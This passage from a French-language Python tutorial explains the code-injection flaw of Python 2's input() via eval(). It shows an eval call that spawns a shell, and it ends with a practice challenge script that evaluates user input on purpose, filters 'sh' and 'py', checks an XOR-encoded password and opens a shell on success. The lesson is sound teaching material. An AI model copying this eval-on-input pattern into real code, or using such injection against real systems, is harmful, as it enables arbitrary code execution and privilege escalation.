Cependant, il reste un domaine que vous devez approfondir, celui des versions de Python. Tout Ă lâheure, vous avez pu voir que dâune version Ă lâautre de Python, certains modules ne sont plus disponibles, certaines fonctionnalitĂ©s disparaissent, dâautres apparaissaient, et, si beaucoup de problĂšmes peuvent ĂȘtre rĂ©solus par la simple installation dâune version antĂ©rieure, parfois les choses ne sont pas si faciles.
Si Python change, câest certes pour remettre au goĂ»t du jour certaines de ses syntaxes, par exemple lâaffichage du texte qui est passĂ© de ça :
print "mon texte"
à ça lors du passage de python2 à python3 :
print("mon texte")
Parfois ce sont des correctifs de sĂ©curitĂ© qui sont apportĂ©s, lâun des plus importants fut celui de la fonction input().
Cette derniĂšre Ă©tait pourvue dâune fonctionnalitĂ© dâĂ©lĂ©vation de lâexpression, ce qui la rendait vulnĂ©rable Ă lâinjection de code.
En dâautres termes, nâimporte qui pouvait rentrer du code qui allait ĂȘtre exĂ©cutĂ© par le script, et,
si une telle faille nâa pas dâintĂ©rĂȘt lorsquâelle est exĂ©cutĂ©e sur notre ordinateur,
elle en a beaucoup plus quand ce script permet une Ă©lĂ©vation de privilĂšge oĂč lâaccĂšs Ă une machine.
Je ne vous ai pas encore parlĂ© de la fonction eval(). Elle permet dâobtenir le rĂ©sultat dâune expression quâon lui transmet sous la forme dâune chaĂźne de caractĂšres, par exemple :
>>> eval("3+2")
5
Mais cela peut aussi se faire avec des blocs de code complet :
>>> import os
>>> eval("os.system('sh')")
sh-5.1$
Alors imaginer un peu maintenant les dĂ©gats que peut faire une fonction input qui se comporte comme une demande dâinjection de codeâŠ
Pour pallier Ă ce problĂšme, les dĂ©veloppeurs de python2 avaient créé la fonction raw_input qui nâeffectuait pas une Ă©lĂ©vation de lâexpression :
>>> raw_input("Rentrez une expression : ")
Rentrez une expression : 5+5
'5+5'
On peut dire que la fonction input était définie comme ci-dessous :
def input(expr):
return eval(raw_input(expr))
Pour vĂ©rifier que vous avez bien compris les deux chapitres prĂ©cĂ©dents, je vous propose un petit jeu. Le but est de rĂ©ussir Ă vous identifier sur la machine (la vĂŽtre) en usant de ruses et dâintelligences.
Copiez le code suivant dans un fichier :
#!/bin/python3
import os
def authentification():
   utilisateur = input("Nom d'utilisateur : ")
   if "sh" in utilisateur or "py" in utilisateur:
       print("Alors comme ça on essayait d'avoir un shell ;)")
       return False
   mdp = input("Mot de passe de " + str(eval(utilisateur)) + " : ")
   if len(utilisateur) >= 20 and not ' ' in utilisateur:
       if eval(utilisateur) == "MauriceBarrÚs":
           rep = [117, 6, 16, 67, 71, 16, 2, 11, 1, 76, 20, 83, 68]
           k = "9ce140dbf9f6761923af0f99ec27e758"
           mdp = [ord(c) for c in mdp]
           for i in range(len(mdp)):
               mdp[i] = mdp[i] ^ ord(k[i])
               if mdp[i] != rep[i]:
                   print("Mot de passe incorrect")
                   return False
           print("Bienvenue sur votre systÚme ! ")
           os.system("sh")
       else:
           print("Ce nom n'est pas connu de notre base :(")
   else:
       print("Il semblerait que quelque chose se soit mal passé")
authentification()
Bonne chance et bien jouĂ© pour avoir lu en entier ce module sur Python ! đ